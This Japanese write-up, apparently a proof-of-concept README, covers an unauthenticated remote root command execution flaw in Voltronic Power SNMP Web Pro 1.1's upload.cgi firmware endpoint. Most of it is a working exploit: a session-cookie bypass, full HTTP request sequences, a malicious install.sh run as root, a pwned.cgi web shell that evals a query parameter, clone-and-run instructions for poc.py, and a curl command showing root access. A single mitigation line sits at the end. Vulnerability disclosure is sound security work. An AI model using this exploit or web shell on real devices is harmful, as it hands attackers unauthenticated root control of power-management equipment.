
Voltronic Power SNMP Web Pro 1.1 における事前認証なしのフルルートリモートコマンド実行
Voltronic Power SNMP Web Pro 1.1 における認証不要の完全リモートコマンド実行
SNMP Web Pro 1.1 には、upload.cgi エンドポイントに認証なしのリモートコード実行の脆弱性があります。ファームウェア更新機能はユーザーに tar アーカイブのアップロードを許可し、そのアーカイブは入力検証やセキュリティチェックなしで展開・インストールされます。アプリケーションはアーカイブの内容を制限またはサニタイズしないため、攻撃者は悪意のある CGI スクリプトを含む細工されたアーカイブをアップロードできます。少しの試行錯誤と、各レスポンスが漏らす情報から得られる大きな助けによって、期待される正確なアーカイブ形式を特定し、悪意のあるアーカイブを作成することが可能です。
さらに、このエンドポイントは認証を適切に検証しません。改ざんされた、または無効なセッション Cookie を供給するだけで、有効な認証情報なしにアクセス制御をバイパスして脆弱な機能に到達できます。フロントエンドが使用時にログインを明確に要求しているにもかかわらずです。
悪用に成功すると、攻撃者は任意の実行可能ファイルを CGI サーバーのディレクトリ内に配置し、root 権限でコマンドを実行できます。
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
以下はすべて、ローカルインスタンス(http://localhost:5555)に対して行われました。この演習全体を最初から簡単にしている点が2つあります:
Cookie: -http-session-=NOT_VALID ヘッダーだけです。sid クエリパラメータはフロントエンドの JavaScript が生成するランダムな値ですが、サーバーからは同様に無視されます。以下の手順は、このループに沿ったものです。リクエストは、サーバーが実際に関心を持つ最小限のヘッダーにまで削られています。
最初のリクエストだけで、サーバーがファームウェアアーカイブをどこに置くことを想定しているかが分かります。params=extract は CGI にアーカイブを「受け取る」のではなく「展開する」よう要求していることに注意してください。まだ何もアップロードされていませんが、エンドポイントはディスク上にあると想定されるものをただ展開しようとします。
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
レスポンス:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
レスポンス本文は宝の山です。(NAK(否定応答)が操作の失敗を示していることに加え、tar バイナリの生の出力がレスポンスにそのまま埋め込まれています。つまり、/root/upgrade.tar.gz を展開しようとしているのです。また、インストール先のパスが /root であることにも注目してください。特権プロセスを相手にしています。
エクスプロイト計画に役立つ2つの事実:
upgrade.tar.gz にリネームされ、/root に置かれます。ファイル名は何でもかまいません。まず、ダミーの tar アーカイブを作成します(アップロードは multipart POST であり、そのトレースには意味がありません。すべての挙動を左右するのは GET 呼び出しです):
tar czvf test.tar.gz test.txt
test.txt
サイクルを開始します。アーカイブを アップロード し、次に 展開 します:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - 展開は問題なく完了しました。この一連の流れ(アップロード -> 展開 -> インストール)が本エクスプロイト全体の構造です。以降はインストール手順だけが変わるため、次のトレースではリクエスト行とレスポンスボディのみを示します(ヘッダーは上記のものと同じです)。
upgrade という名前のフォルダが必要展開は機能しました。次はインストールです。レスポンスは予想どおり異なります:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK が再び返りますが、シェルコマンドの残骸が漏れ出しています: cd: line 1: can't cd to /root/upgrade*。インストーラは任意のシェルを実行します。展開されたアーカイブ内の upgrade という名前のフォルダに展開されるグロブに対して cd を試みます。私たちの無害なフラットアーカイブ(ルートに test.txt があるだけ)では、このグロブに一致しません。簡単な修正方法は、トップレベルに upgrade/ ディレクトリを含めて再パッケージすることです。
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
その後、サイクルの最初の2ステップ(再アップロード、再展開)を繰り返します。
install.sh が必要同じインストール呼び出しをもう一度行うと、リークはさらに有益になります:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
install.sh というスクリプトに対して chmod を実行しています。つまり、インストール手順はアーカイブ内のシェルスクリプトを root として実行するということです。この時点で、私たちはアーカイブ内のすべてのファイルを制御できるため、そのスクリプトも制御できます。これが脆弱性の本質を一言で表しています。認証なしで、任意のファイルが root 権限で実行されるのです。
upgrade/ ディレクトリ内に install.sh と pwned.cgi を作成します(どちらのファイルも、このリポジトリの upgrade/ フォルダに同梱されています)。
install.sh は物理的な配置を展開し、私たちのスクリプトが Web ルートの CGI ディレクトリに配置されるようにした後、パーミッションを修正します:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi は最小限のコマンドディスパッチャ CGI です。cmd クエリパラメータを受け取り、URL デコードして eval に渡します。これがリモートシェルです:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
アーカイブを再パッケージします:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
そして最後にもう一度フルサイクルを実行します:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
今回はエラーの漏洩がなく、きれいな (ACK が返りました。インストーラは何の文句も言わずに私たちのスクリプトを実行し、pwned.cgi は CGI ディレクトリに配置されているはずです。単純な whoami で確認できます(URL は引用符で囲んでください。; はシェルの区切り文字であり、CGI パーサーがこれに対応できないため):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
デバイスの ARM Linux 上で root です。認証情報ゼロから root シェルに到達するまでに必要だったのは、上記の2つのリークと tar アーカイブだけでした。

いいえ、ベンダーはまだ回答を提供していません。認証付きの ngnix リバースプロキシを使用してターゲットを保護してください。
poc.py は、手動のサイクルを1:1で自動化します。create_in_memory_tar_archive() はステップ5のアーカイブをメモリ内に構築し(install.sh + POST ベースの pwned.cgi バリアント)、upload_archive()、extract_firmware()、install_firmware() がステップ2〜4を再現します。verify_exploit_uploaded() は CGI が現れるのを待ち、spawn_non_interactive_shell() は >>> プロンプトを起動します。このプロンプトのコマンドは base64 エンコードされ、pwned.cgi に POST されます。